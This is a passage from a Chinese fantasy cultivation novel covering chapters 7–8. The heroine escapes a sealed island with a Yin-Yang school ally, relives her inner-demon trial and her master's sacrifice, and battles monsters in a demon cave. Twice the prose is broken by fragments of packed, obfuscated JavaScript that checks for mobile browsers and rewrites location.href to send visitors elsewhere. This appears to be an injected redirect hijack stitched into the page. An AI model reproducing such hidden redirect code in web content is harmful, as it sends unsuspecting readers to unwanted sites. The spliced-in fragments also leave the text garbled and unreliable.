第五昭默了默,问:“……你有几分胜算?” 鄢丰看向他:“八分。” . 按照第五昭的说法,开始来的时候是可以使用法力的,降落在一个完全无生气的孤岛上。他使用法力强行将天捅出一个洞,幻阵便自破了,面前有一石门,他只轻轻一碰,门便应声开了。而后便见到清漱,与她缠斗,才发现,无法攻击到她身上。 鄢丰蹙眉。 依方才清漱所言,应该是她洞府本有法器禁制守护,被第五昭暴力破开才唤醒了她,那为什么第五昭却说只是轻而易举? 也罢。 鄢丰叹口气。他或许有所保留,倒是无伤大体。 此刻可以确认,她当时在破困阵的时候听到的巨响来自于第五昭。也就是说,第五昭暴力破开幻阵的时候,惊动了整座岛屿本身。 也就是说,想要出去,突破口在—— 上方! 清漱法力虽强,但若是她能破开这里的禁制,释放她体内的力量,也仍可一战。 鄢丰从怀中拿出一张符咒,借着从清漱手中拿来的火,将其烧掉,一边望着天际,道:“帮我一个忙。” 符咒多以法力传播,在禁制之下无法使用。 然而,这世上唯有阴阳家的符咒,依阴阳五德轮转画成,借自然之力而运转,不惊动任何法力的禁制。 那符咒却久久没有回声。 眼看着快要燃尽,鄢丰却并不急,只盘腿坐着,静静等待。 符咒最终那边传来一个男子的声音:“要我帮你离开这儿?” “不——我还要从这里,带走一样东西。” 话毕,一根极细的丝线显现在鄢丰小指上,若隐若现,远远的不知连向何方。 对面人似乎惊讶一瞬,随即意味深长的笑了一声:“……什么时候?” 眼看符咒要燃尽了,手中那根细丝线突然自己动了动。 鄢丰正欲开口,却突然狂风骤起,地动山摇! 鄢丰和第五昭同时回头,正正看到突然出现在此的清漱。 本以为是借火的事情败露,此刻鄢丰还不想打毫无准备之战,正要解释,却见女子柳眉倒竖,恼怒的看向鄢丰手中那条丝线! “道是你安分守己,谁知果然别有用心!你竟还想从失落之地偷东西去,简直岂有此理!” 鄢丰一愣,也看向手中的因果线,便知此刻已然没有缓和的余地。 她不再犹豫,抬头朝天,一字一顿,掷地有声: “——现在!” 说罢,她不顾眼前的状况,阖眸盘腿而坐,口中念念。 烧尽的符咒散尽最后一点儿火星,在狂风中如蒲公英般飞散,将主人的话带到远处…… 片刻之间,只听一声巨响从天边传来,雷声震天而响。 除鄢丰外的两人同时抬起头,却见天际竟无端被捅出个一个洞来! 清漱冷笑一声,咬牙切齿看着阖眸念咒的鄢丰:“呵,竟将阴阳家的人搬来,能耐不小啊。” 一道声音从天而降,正是方才透过符咒而来的那一个:“前辈违背誓言在先,才给了晚辈可乘之机啊。前辈……因果轮转,即便您是半仙之身,也犹难违背。” “废话少说,滚出来!” “鄢丰,接剑。” 一把剑闪着寒光,从天而降!——那正是鄢丰的佩剑,甘镬! 鄢丰也同时睁开眼睛,飞身将甘镬剑紧紧握在手上,灵力护体,口中念念有词,挥剑虚空一斩,一道剑气直冲天际,竟将天上的一个小洞捅出一个大口子来,与此同时法力的禁制应声而破! “你竟敢强行突破结界?!——你究竟是什么人?!”清漱惊怒交加的看向鄢丰,神色也凝重起来,手上结印,磅礴的法力朝着鄢丰而来! 鄢丰不躲不闪,甘镬剑带起猎猎寒光,直朝清漱而去。 剑光泠泠,照彻此刻的孤岛,直直与清漱的法术相撞。 那剑铮鸣一声,竟似已有剑灵,若隐若现剑气之中! 棋逢对手! 清漱被逼退几步,鄢丰小指动了动,那丝线竟化作实体来,只听那人念出咒词。 “原始反终,游魂为变——魂归!” 话音刚落,因果线一颤一颤,最终竟化白雾之状,朝着天上那人而去! “休想!” 清漱见状已然明白他们想做什么,飞身阻止。 然而鄢丰怎可让她得逞,剑气一出,稳稳护在那白雾之前! 清漱只得掐诀阻挡,正待再向上追去,却为时已晚。 魂魄已然稳稳被来人收入拂尘—— 归魂卦成。 “深观阴阳,五德终始。” 霎时天地变色。 一玄衣道袍,黑布蒙眼的男人终于凭空而出,静立在鄢丰身前。 千里外,玄真道人看着汹涌天色,良久自语:“……阴阳家,又出了不简单的人物哪。” 他身边羊角辫儿的小姑娘吹吹指甲上的丹蔻,稚嫩的声音竟让闻者不寒而栗:“倒转阴阳,贯通虚实——只怕他强行冲破封印,竟还将虚之界同现世之间强搭了一条道出来,要吃不少苦头了。” 玄真道人听罢反倒平静下来,远望天际,淡淡道:“他不得不这样做。” “——因为鄢丰,还不能死。” 与此同时,岛上也风起云涌,不复方才平静之色。清漱身形踉跄两下,竟呕出血来,美眸含怒望向那人。 “今日打扰前辈安眠,万分抱歉。这两人,同那魔种的魂魄,就由晚辈先带走了。” 男子声音波澜不惊,只说了一句。 “阴。” 一声令下,登时黑云压顶,遮蔽天日。 鄢丰吐出一口黑血,搭上那人伸过来的手,竟低低笑出声来。 “谢了——” “衡枢。” . 7. 群魔(上) . “右使大人。” “阿浮姑娘,君上这几日伤可好全了?” 唤作阿浮的姑娘盈盈福身,肯定道:“君上伤口向来好得快,右使大人费心了。” 对面那黑衣男子笑起来,伸出手扶了阿浮一把,道:“阿浮姑娘才最是费心,凡事都贴身服侍着,倒是温石要代君上先谢过姑娘才是。” 阿浮微微仰头看向面前似乎无论何时都挂着得体微笑的右使,眸中是掩饰不住的仰慕之色,半晌低下头,柔顺道:“右使大人快些进去吧,别叫君上等急了。” 温石点点头,又想起什么,道:“今日我与君上说的事情事关重大,劳烦阿浮姑娘体谅,带着姑娘们下去歇着便是。” “是。” 魔宫中尽管总是开满灯,温石仍是不适应的略一皱眉,随即半跪下去朝座上人行礼颔首:“君上。” 第五昭手中握着一金属酒杯,其中盛装着粘稠的暗红色液体,在杯中轻轻晃荡。 昨日第五昭着他又去了地牢,只因满月将至,他已然感到有些不适,温石便杀了一个戴罪之人,取其心头血送了来。 当年从第五昭再回到魔界,温石便跟在他身边了。即便如今已然是一人之下万人之上的位置,对于关乎第五昭的事情,他仍是要亲力亲为,从不假手他人。 第五昭轻啜了一口那血,皱起眉:“低贱之人,血也是臭的。” 温石笑了笑:“听闻凡人修仙者的血最是美味,倒是可惜了……那女人已经在万魔窟待了三日,便宜了那些低阶的魔物。” 第五昭挑眉:“三日,万魔窟竟无一点动静?” 温石闻言反而一愣:“君上,万魔窟乃是魔域至邪之地,即便是我魔族纯血之人,若是误闯其中恐怕也是凶多吉少……那女子修为全失,被扔进去那一日便昏迷不醒,已有了走火入魔之象,进了那万魔窟,恐怕早被啃得骨头都没了。” 第五昭不置可否,意味深长道:“那个女人,恐怕没她自己说的那么简单呢。” 温石蹙眉,隐隐觉得怪异,然而却并不再问,转而道:“君上……线索从那小姑娘一家那儿便断了,属下带人在永夜城走了几趟,也无甚发现;永夜之地开的永夜花也已经恢复如常,属下派人日夜蹲守多日也并不曾有过异常。” 第五昭问:“我在那永夜之地找到了一个琉璃瓶子,里面有魔血的气味——你们可曾带回来查过?” 温石一愣,凝重道:“……君上,属下带人将永夜之地几乎翻了个底朝天,搜索多次,也不曾见过君上说的那琉璃瓶子。” 第五昭闻言却并不动怒,只是微微皱了皱眉。 温石问:“君上,那属下再派人去找……” “不是查不到吗?”他咧嘴一笑,口中说的话却让人不寒而栗,“……那他整个永夜城的人,一个都别想跑。” 忽听门外一阵风声轻响,树叶簌簌落下。第五昭与温石对视一眼,眨眼间便闪身打开殿门,凌厉道: “谁?!” 然而,门外却只有风声呼啸,再无第二个人。 . 魔宫之内,有一处禁地。 平日人烟稀少,只有轮班的守卫在此处驻守,防止有人误闯。 ——正是魔域禁地,万魔窟。 说起万魔窟,恐怕没有几人知道其中的模样。然而,却不论是谁,谈起这万魔窟都要肝胆变色。 传闻魔域之中,唯一活着离开万魔窟的,只有现任魔君大人,第五昭。 此刻,驻守万魔窟入口的是个老侍卫,漫不经心的蹲在地上,懒散的打了个哈欠。 忽然吹起一阵阴风,老侍卫打了个寒颤,似有所感的看向身后漆黑不见底的万魔窟。 里面似乎仍然没有半点儿异常,同往常一样,诡异的没有任何生息。 老侍卫叹口气。 看来前几日被扔进去的那女人,此刻已经凶多吉少了。 “这几日万魔窟可有异常?” 老侍卫转过头,看到来这里的侍卫长,惊醒的站起来。 因而也没瞧见,那漆黑一片的万魔窟里,一闪而过的蓝色光芒。 “右使大人方才又特地差人来问了,你在这没发现问题吧?” 老侍卫挠了挠头:“没什么异常啊,长官大人。” 侍卫长点点头:“我道也是……一个凡人,怕不是第一天就死了。也不知道右使大人这是想起什么来了……唉,没什么事了,你在这好好守着罢。” 而此刻万魔窟内,鄢丰正奄奄一息靠在充满血污的石壁上,怀中抱着一把剑,正是当日她的佩剑甘镬。 那甘镬剑正闪着银光,周身散发出淡淡光芒,将这里照亮一角。 鄢丰所在,竟密密麻麻围了数不清的黑色长虫!它们各有不同的模样,触须一颤一颤,洞内寂静的连虫子爬行的声音都可以清晰听到。 它们虎视眈眈看着昏迷不醒的鄢丰——这万魔窟已经太久没有新鲜的血液供这些低阶魔物食用了,它们没有灵智,只知道饿了不知多久,此刻,终于可以美餐一顿。 鄢丰手中的甘镬剑发出微微铮鸣,似乎在催促她快醒来。 它不断的发出微弱的光芒,使蠢蠢欲动的那些魔物尽数不得靠近她身半步。 然而,它已快耗尽了全力,发出的光芒越来越弱,甚至有几次险些被那些魔物撞破结界。 剑身也愈发显得暗淡起来。 而鄢丰却浑然不觉此刻的危险,脸上魔纹忽隐忽现,眉头紧皱,似乎正做着一场醒不过来的噩梦…… . 鄢丰从昆仑山上下来那一日,枯叶落了满地。 她没回家,却先绕了路,在四面环山的林子里兜兜转转,最终在一片竹林里停下。 不一会儿,她面前以竹化桌,白布蒙眼的男子出现在她面前,正是衡枢。 他们彼此见了都不说话,许久,男人站在一阵冷风中,随手捏住一片已干枯发黄的竹叶,笑了:“鄢丰,你瞧,枯叶。” “什么?” 男人漫不经心的幻出个小凳子坐下来:“春生枯花……” 看了眼鄢丰不解的目光,衡枢意味不明的笑了一声:“枯花一落,必有星陨。” 鄢丰也自顾自坐下,笑道:“衡枢啊,你们阴阳家哪里都好,只这故弄玄虚的本领,倒是最为上乘。” 衡枢却不答,只问道:“鄢道友,你可准备好了?” 鄢丰说:“我既自昆仑山来此,就正是我的答案。” “好,你的话我信。……但倒也不必急于一时。” 鄢丰皱眉:“什么?” 衡枢笑了笑,却说:“我的意思是,你刚自断灵脉,从昆仑而来,即便来自你心的墨家之力比起从前已经是有过之而无不及,也不要妄动。待时机到了,你灵脉已然修养好了,再用不迟。” “这是自然。……那份力量,来之不易,只为那件事而流转,我又怎可轻易驱使之?” 衡枢摇摇头:“终归是你自身的力量,不拘泥于用武之处。我只是想提醒你,即使修心之道是上乘的办法,也不代表你灵脉尽废就对之毫无影响。若无法真正将你墨家的心法参悟通透,轻率动之,只会更容易让人误入歧路,走火入魔。” “我明白了,多谢。” . 鄢丰很快就知道了,衡枢说得那些语焉不详的话是什么意思。 她没停留太久,匆匆下了山,赶回了家,却只见到空荡荡的小院子,和父母已然杂草丛生的茕茕孤坟。 找遍镇子每个地方,却都没有见到鄢年。 鄢丰瞬间回想起衡枢方才意味深长的话来,面色一沉。 “六目清净,现。” 对方似乎早就料到她会找来,她强自压制住心绪,问:“这是……怎么一回事?” 衡枢很快回答道:“如你所见,令妹鄢年已死。” 鄢丰只觉得心越来越沉,强自镇定,沉声道:“……谁做的?” “我不知。” “你阴阳家最是通晓古今一切之事,如今你却同我说不知?!” 衡枢反倒笑了,没答话,却道:“……鄢道友,我还是第一次听你说话动了气。” 鄢丰不语,转身便要关了通讯。 “鄢道友莫急,即便我专修一双阴阳眼,能通古今天下事,也无法知晓令妹的死因——我只劝你,节哀顺变,莫再追查,乱你道心,让我们的计划功亏一篑。” 鄢丰只觉得心越跳越快,气血几乎上涌要冲出头顶。 “然,鄢道友深明大义,我阴阳家自然对令妹的情况多有关注。是故,查出了两件事。” 鄢丰没有说话,却也没有切断联系。 衡枢继续道:“我用阴阳眼,一查幽冥魂魄轮转之书,却翻遍书页,也未曾找到令妹鄢年之命。……这就是说,”衡枢的声音平静的残忍,一字一顿道,“令妹死因未知,但可以确定的是,她此刻已然魂飞魄散,是故未入幽冥轮转册。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557258|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……不对。” 鄢丰声音颤抖,却还是坚定道:“鄢年胎生魔种,魂魄不死不灭,不入轮回……自然不会出现在轮转册上。想来你查错方向了。” 衡枢笑了一声:“并未。也是我的疏忽,这事儿原是有一段因果。鄢道友有所不知,令妹鄢年虽则天生魔种,然而追根溯源,并非令尊令堂之血脉所传,而是他们终日镇守人魔两界交界之所,身不由己沾染了魔气;而恰好,你们又是双生子……” “令尊令堂受命镇守人魔交界之地,原是大功德一件,而令妹鄢年,胎生纯魔血脉……”他顿了顿,“全因鄢道友你啊。说来说去,令妹都是身积功德降生之人,天道众神感其善念,特特亲书其名于幽冥轮转册上,还记了大功德一件,只待她魂魄入丰都,来生自有一番大造化。可惜……” 衡枢话未说尽,知道她已明了,又道:“我借这阴阳眼,二看世上所有因果牵线,令妹虽然留痕极少,却还是被我找到了仅存的一段,尚藕断丝连的因果线来。” . 鄢丰不知道自己是如何回到家来的。 鄢年的衣裳尚有几件,虽然已然落满灰尘——她已离开这里很久了。但鄢丰还是固执的拿了那几件衣服,为父母扫了墓,除去杂草,在旁边亲手为鄢年立了一座衣冠冢。 “即便你存在的痕迹都所剩无多……但只要我活在这世上一日,便永远会有人记得你。” 她编了花环放在她坟前,像从前一样慢慢讲自己在昆仑学的剑术,在山下游历时遇见的人,斩过的妖魔。 可惜这回,却再没人会含笑听她讲完,缠着她再多说一些了。 她却仿佛赖在她坟前了,还在不停的絮叨:“我今日回来,才听说隔壁二狗子成亲了,如今搬到姑娘家做了赘婿,屋子都落了锁,积了厚厚一层灰,你竟半分不曾同我提起,连喜酒也没讨着半分……” “说起来,我若是未有离开昆仑这遭,恐怕再有一阵子啊就能吃着我小师妹的喜酒了——不过小师妹这样可爱,届时也定会请我回去罢……”鄢丰目光无神的看着面前的孤坟,沉默了半天。 直到天上响起阵阵雷声,鄢丰这才惊醒,看向面前三座坟墓。 一场急雨毫无预兆的落下来。 水珠从她脸颊划过,像是代替她流出泪来。 很快衣袍几乎全数被打湿,她却浑然未觉,木然转过头,只接着方才的话头,说: “……到时,我们一起去,好不好?” 她话音刚落,天边突然黑云骤起,黑沉沉挨挤在一起,全部挤压在天幕之上,本是明媚白日,却一瞬间黑云压城,如入四更之天,将她一身白色道袍都衬出黑灰的色彩来。 然而,天上的黑云似乎还没有停止之势,还在不断聚集,雨越下越大,鄢丰只觉得心脏跳得飞快,竟似乎连地面也在震颤。 她周身似乎同这天色一般,聚拢了无数黑紫之气,几乎连她本人的面貌也看不大清楚了。颊边无端生出痒意来,魔纹如红色的小虫子一条一条攀上她的脸侧,传来一阵火辣辣的剧痛。 她几乎痛不欲生,膝盖一软便要跪在地上。 她却踉跄几步,尚存的理智终使她意识到这件极严重的事—— 她要入魔了。 她强撑着坐下来,盘腿打坐,指甲掐进血肉,逼迫自己保持清醒,一遍一遍念着墨家心法的文本,内视自己的心,才发现有无数黑红的气息狠狠攫住她的心脏! 她的心犹在不停的挣扎,然而剧烈的跳动却让她感觉每一次心脏的跳动都几乎要她五脏六腑都移一个位置来,猝不及防吐出一口血来! “鄢丰,贺灵骗了你。” “你到昆仑唯一得到的结局,便是经脉俱废,亲人尽逝。” “鄢丰,你自己也觉得很可笑不是么?” “你之初心,全因你当初一念之差,亲自毁于你手。” 黑气缭绕,鄢丰不断深呼吸,并不理会心魔的话。 “鄢丰,放弃吧,然后你就再也——不会痛了!” 天上突地落下一道惊雷,闪电发出耀眼的光芒,直劈在鄢丰身边! ——“你瞧,连天道也不信你能挺过这一劫了啊,鄢丰,你还在犹豫什么?” “……你闭嘴,”鄢丰突然平静下来,睁开一双如血般红的眼睛,“我当然,不会再犹豫——” 说罢,鄢丰猛的睁开眼睛,不知哪里来的力气,直直站起身,拔出剑,毫不犹豫的刺穿了自己的心脏! . 8. 群魔(中) . 鄢丰躺在血泊当中,双臂无力的摊开,胸口插着的正是甘镬剑。它此刻正发出铮铮哀鸣,不断发出光芒,似乎想要用自身剩余的灵力帮她修补已经破碎的心脉。 鄢丰没有力气做出任何动作,但是她知道,心魔终于偃旗息鼓。那带着凌厉剑气的一剑把她的心脏捅了个对穿的同时,也将那些黑色雾气击了个粉碎。 天上乌云终于散去,下起一场细雨。 微微泛白的天空折射出阳光,照得人眼睛生疼。 她想起那一年,曾在所有门派长老、诸子百家掌门人面前指天立誓: “鄢丰此生只为大道,倘若有朝一日,走火入魔,违背誓言,鄢丰自请天道为证,引天雷以了结此身,方不负各位前辈所托!” 心魔,对于任何修士来说,都是极其危险的,但又绝对无可避免的存在。 即便她天生有一颗澄澈琉璃道心,也无法躲过这一劫难。 人永远不可能知道,那些被预知的事情真正到来的时候,事情会怎么样变化。 鄢丰最终阖上眼睛,一滴眼泪汇入身下范围越来越大的血泊,而后消失不见。 ——她不甘心。 . 鄢丰当然没想到,自己还能睁开眼睛。 长剑穿心而过,这世上除了纯血魔族,没有任何人可以活下来。她也不能例外。 她低下头,看到静静躺在身边,被擦得雪亮的甘镬剑,又看向自己胸口完好如初的伤口,手下意识附上心脏,触及那有力的心跳。 她却丝毫没有劫后余生的欣喜,只觉得心一片冰凉,随即那寒凉很快蔓延全身上下,她呼吸颤抖,心跳几乎掩盖过窗外的鸟语之声,再也顾不得其他,跌跌撞撞跑了出去! “醒了?” 衡枢很快就出现了,她却无论如何也无法冷静下来,抓住他的衣襟好像抓住了最后一根稻草,失态的颤声问:“……我为什么没死?” 衡枢却出乎意料的没有露出调笑的表情,反而一把拍掉她的手,讥讽的反问:“为什么?” 他罕见的没有以布遮眼,鄢丰于是可以清楚的看到他分明睁着的一双桃花眼不断的流下血泪,血争先恐后从他眼底眼眶溢出,他却好像浑然未觉,随手一抹,冷冷道:“……你师父的尸体已送回昆仑安葬了。” 鄢丰简直难以置信:“你说什么?” 衡枢不耐烦的皱眉:“你还不明白吗,你没死,因为我、你昆仑的师父师叔、你的师兄师姐,都不想你死!所以——”他第一次和她对视,眼里是不加掩饰的厌恶和嘲讽,“所以,你师父为了救你,用了你们昆仑一种阵法……‘火雷噬瞌’。他作为施术者,当然要付出最大的代价——” 火雷噬瞌,名血脉卦,血疾漏下,上承绝命之卦。 鄢丰踉跄后退了两步,一片枯花擦着脸落下,将她脸颊划出一道细口子。 她喃喃吐出两个字:“……禁术。” 师父他一生都谨守天道,最终却为了她,逆天而行,以自己性命,换她之命。 “你也知道那是逆天而行的禁术?!”衡枢冷笑,大步走近,低着头看着她,一字一顿,咬牙切齿,“那敢问鄢道友……将那一剑好不畅快的刺穿自己心脏的时候,可曾想过我们,想过你的师门?!你当真以为自己这么死了就能一了百了了?哈,当日你在昆仑众掌门长老面前轻率立下誓言的时候就不曾想过今天?!你不知道自己是谁吗?!” “鄢丰,”他恢复无波无澜的模样,第一次连名带姓的喊她,“今日我要告诉你,许下承诺,是多沉重的事情。……轻率的诺言,只会让你付出比今日更严重百倍的代价。” 衡枢转过身,快步离开。鄢丰呆立在原地,手中握着衡枢留下的一张燃烧的黄符纸。 业火已然烧到指尖,她却浑然未觉,一遍遍看着眼前不停回放着的师父苍老、慈祥的脸。 “衡枢小友,我这一生,就此了结,也不算遗憾。……然而弥留之际,却有些话想要你代为转达。” 师父坐在她身边,手中拿出她那柄满是血污的剑,面色柔和的慢慢擦拭着,脸上浮现出释然的笑意。 你要好好活下去,为我,为你的大师姐,为我们当日共同之愿,成为真正的救世之主。 昆仑山弟子鄢丰!——你永远……是昆仑的骄傲。 ——我有一愿,愿此世间再无偏见与不公,不论种族,人们能够自由的相爱。……此路注定是孤独之路,我却想问你,愿不愿与我同路? 鄢丰闭上眼睛,任滚烫泪水顺着脸颊而下。 自那以后,心魔再也没有出现。 心魔沉寂,并非你已无事。相反…… 你此刻分明经历大起大落,心魔没有反应,才是最大反常—— 一切皆因你如今,道心已废,再无根基,心魔才自然……无从而起。 道心是一个修士修练之根本,一旦道心破碎,几乎再也没有重建的可能。 “你妹妹与第五昭有一段因果。这是你的执念所在,所以,在一切开始之前,你自当做个了断。” “我如今道心已毁,废人一个,当日承诺,岂能担负?” “再告诉你一件事吧,鄢道友,”衡枢冷哼一声,“我阴阳家的至宝阴阳眼,从未有过预言出错的时候。……道心损毁算什么,重建虽难,那是针对一般修士,而你,只消等一个机缘,道心自然就会重生。至于其中苦楚,谁都可以忍受不了,你,断臂削骨也得忍下来。” 鄢丰垂眸。 “你妹妹当年亲手将第五昭推下魔域邪地万魔窟,他在其中自有一番机缘,造就了如今一个嗜血无道的魔君出世,是她之过,也是你之执念。你到那万魔窟去,亲自杀了当初哺育第五昭成至邪之魔的镇地魔物,毁了祸患世间的万魔窟,取魔物的内丹,便算了结了她与第五昭的纠葛,她留下的因果线也自会断开。至于道心,”衡枢转头朝向窗外,“望你这趟到魔域,自去寻来。” . 昏昏沉沉之间,鄢丰已经恢复了一些意识。右臂穿来钻心的疼痛。 然而心魔显然抓住她最痛处,反反复复,如钝刀割肉。她无法离开,连肉身痛楚也抛诸脑后。 此刻她仿佛站在一片漆黑之中,桩桩件件在眼前反复播放。分明只要挥出一剑,将这些尽皆斩断,就可以结束这一切。 她却始终无法释怀,不能坦然。 难道要一直被一段过去的回忆所摆布吗? 血腥气分散了她的注意力,眼前重放的记忆突然变得破碎,而后消失不见。取而代之的是另一幕—— 狭小拥挤的木屋里,挤挤挨挨坐着一家四口。烛光摇晃,将屋子填满微弱的光芒。 女人怀里抱着一个孩子,是个男孩儿,年纪很小,她轻轻哼着不知名的小曲,哄他入睡。 男人抚摸着身边少女的一头秀发,少女光着脚丫坐在小小的床上,轻轻晃悠着,背着首诗: “蒹葭苍苍,白露为霜。所谓伊人,在水一方。随洄从之,……” 男人只是听着,粗糙的大手一遍遍抚过少女头顶,越来越慢,越来越慢,微微点着头,皱起下巴笑着。 一切显得安详而美好。 画面却突然剧烈摇晃起来,女人、男人、孩子突然都消失不见了,过了好半天鄢丰才看到,自己不知何时竟已身处其中!抬一抬脚,粘腻腥甜,骨骼断裂声不绝于耳,一颗滚烫的东西骨碌碌滚到她脚边,她木然低下头,终于定睛一瞧—— 那是一颗少女的头颅。脸上仍保持着纯真的情态,眼睛圆圆睁着,死不瞑目。 正是那日在永夜之地,她亲手救下的少女。 ——“视人之国,若视其国;视人之家,若视其家;视人之身,若视其身。” 刹那之间,无数画面交叠闪现,师父当日为她吟诵《兼爱》的字字句句清晰起来,与亲人、师友、永夜城的少女、过去曾遇到过的每一张面孔都顺着那抑扬顿挫播放。 眼泪一瞬间如决堤的河水,流到她以为自己流尽了此生所有的泪水。 心魔在心上落下的层层冰霜,终于应声而碎。 . 鄢丰睁开眼睛,迷茫的看着眼前的一片漆黑。 然而下一刻,便立刻对上了一双猩红的眼睛!那双眼睛正在黑暗之中紧紧盯住自己的猎物,甘镬剑为她树起结界,此刻却从右边破开一个小口,无数小虫争先恐后的挤塞进来。 她才瞬间感受到右臂传来的令人窒息的疼痛,头上冷汗直冒。而此刻她的右臂已然被啃食的面目全非,血肉模糊,若有若无的魔气从千疮百孔的手臂中冒出来——这只手臂,除非入魔,否则她再也无法驱使。 她就像一只被拆卸一半的人偶,即便皮肤还挂在白骨之上,那只手臂却诡异地悬挂在半空,在黑暗之中显得分外可怖。 鄢丰抚摸着甘镬剑:“辛苦了。” 甘镬剑灵力透支,失去光芒,锈痕斑斑爬上剑身。 而与此同时,结界一破,借着甘镬剑的微光,鄢丰看清了不远处的巨大魔物! 它身体浑圆,分明是一只八爪蜘蛛的样子,却诡异的长出长长的脖颈,不断的伸长,红眼睛一眨一眨,忽隐忽现,视线下移却诡异的看到它长脖子上长的脑袋下竟有一条上扬的弧线,仿佛在朝她笑着。 只看一眼,鄢丰便觉得浑身痒意,头皮发麻,不自觉退了一步。却听得咔嚓咔嚓的声音,无数正争着爬上她长靴的魔物被甩掉,她一退步便全被踩碎了硬壳。 可是魔物的数量似乎仍然不断增加着,不知从哪里而来,却源源不断,不管她如何挥剑驱赶,数量都不减反增。 好在小小的低阶魔物贪图鲜血,有许多都被她流下的血吸引了去。 唯有那大怪物,虎视眈眈看着她,似乎在等待着时机,或是试探着什么。 突然,它伸长脖颈,可怕的脸微笑着一眨一眨在鄢丰面前不断放大! 这面目狰狞的怪物散发出难闻的腐臭味,鄢丰心怦怦跳,本能让她退却,但是,她却并无退路! 擒贼擒王!但愿这怪物便是这些魔物的统帅,叫她取了内丹带去给衡枢。 鄢丰剑随心动,快速跑动起来,身边带起罡风将周围一圈肃清!随即以迅雷不及掩耳之势,躲开那怪物正面的袭击,瞬间出现在它身后,脚借力在它巨大的身体上一踏—— 不想那怪物看着外壳坚硬,脚一踩竟直直陷了下去! 鄢丰这才看清,这浑圆八爪的虫子身上竟不是坚硬的黑壳,而是一节一节软趴趴的肉! 鄢丰简直汗毛倒立,却不能犹豫,一剑竖斩,欲要将那怪物一分为二! 那怪物嘶吼一声,竟然生生吃下了剑气!剑气竟似被它身上的软肉吸收了进去,只有喷溅在脸上的温热液体才让鄢丰稍稍安定下来。 然而很快,鄢丰就发觉了异常。 她一击不成,毫不犹豫跳下来,一剑欲要先斩怪物左眼,却不料突然吐出一口血来!怪物的血液有毒! 她右臂重伤,恐怕沾染了妖兽血液。 那一剑劈了空,怪物却好像发现了她的意图,大吼一声,似乎被激怒了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557259|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鄢丰抹去嘴边血迹,强行运力,将所有力量都集中到左臂,与甘镬剑相连。 人剑合一。 一击必中! 鄢丰快速跑动起来,不断的出现在怪物四方,那怪物被耍得晕头转向,鄢丰五脏六腑都传来剧痛,她将指甲掐进肉里,生生绷断!血流如注,疼痛的刺激转移到左臂,她终于抓住最后的时机! “急急如律令!” 一剑使出全力,竟无形之间化成一圈剑阵来,混成剑意随着她一声令下,荡出无数道剑气,将那怪物生生分成无数断! 鄢丰趁那怪物身体彻底爆开之前,远远跳开,险险避过迸发而出的毒血! 那怪物轰然倒地,无数魔物闻到腐臭的巨大腥味反而更加激动,将鄢丰断掉的右臂也已经啃食的差不多了,迅速的将那死去的怪物分食。 鄢丰长出一口气,却不敢松懈,一剑赶走那些小魔物,谨慎的扒拉开怪物残留的碎肉,将闪着淡红色光芒的妖丹稳妥的收进囊中。 这万魔窟不见前路,也不见来路。 但鄢丰静静听了一会,便听到微弱的水声从不远处传来。 假如还有魔物镇守,一定守在出口处。 而出口多半临水。 顾不上处理伤口,鄢丰知道,此刻最好的办法就是以攻为守,尽快离开,方能绝处逢生。 鄢丰马不停蹄的往深处而去。 . 越往深处走,魔物竟然越来越少。 可是鄢丰却感到魔气越来越重,且隐隐约约有修士的气息。 莫非这洞窟里还有人类修士活着? 鄢丰大步往前走,将毒素尽数排到右肩,不让他们再扩散。 前方已然无路可走。 鄢丰停下脚步。借着光看,四面竟然不知何时都被封堵住了!来路也成石墙一堵。 ——是幻阵。 鄢丰却反而松了口气,坐了下来。 破阵之前,不如在这四方安稳的幻阵里先恢复一番体力。 幻阵的存在,通常不是为了致人于死地。相反,也可能是为了保护某人,或者藏有宝藏故而设下迷障,以阻碍偷盗者。 总之,走入了幻阵,反倒暂且安生了片刻。 鄢丰调息片刻,却忽然感觉地动山摇! 下一刻,幻阵不破自毁,鄢丰眼前只有巨大的獠牙,口水滴在她脸上,粘腻恶臭——竟是一巨大怪物,对她张着血盆大口而来! 鄢丰飞速推开,身体撞在身后的石壁上也不停下,生生将那石壁撞出个大口子!她最终停在三丈之外,才堪堪看清巨物的全貌。 那东西浑身散发着魔气,却长着一对龙角,身体一半都隐藏在它身后的池子里,那池子嘟嘟冒泡,传来腐臭味,隐隐可见有骷髅浮沉。饶是如此,那怪物如柱粗的身体也几乎占满整个洞窟。 真正镇守万魔窟的,正是这庞然大物! 鄢丰虽然已经恢复了些许,只是终究不能避免毒血的影响,黑血从右臂不断流出。 鄢丰喘着粗气,抹掉汗水,想,这洞窟里的魔物,似乎都未开灵智。蛮力抵抗,对于她不利,这地方太过狭小,智力却毫无用武之处,唯有出其不意,可以一战。 她想着,便已然动起来。 她迅速攀上怪物的脑袋,斩掉它双角! 怪物果不其然被激怒,嘶吼着狠狠将她甩在地上,鄢丰脸色煞白,此时七窍都流出血来。 她却不再动了,任身体每一道伤口滴答滴答落在地上,形成大大一滩血水。 那怪物也同样嗜血,吼叫着靠近她,极其兴奋。眼看着张开嘴巴就要将鄢丰吞入腹中。 鄢丰手里剑瞬间出手,震得洞窟都不断摇晃! 第一剑,洞穿口舌。 一瞬间血流如注,怪物一阵哀嚎,甘镬饮血,光芒更盛! 她拔出剑来,心意也随着剑芒变得越来越明快。怪物剧痛的摇头摆尾,尾巴荡起一地黑血。 鄢丰脸上已经被血迹洗了个遍,手上动作不停,趁着怪物反应不及,再出一剑。 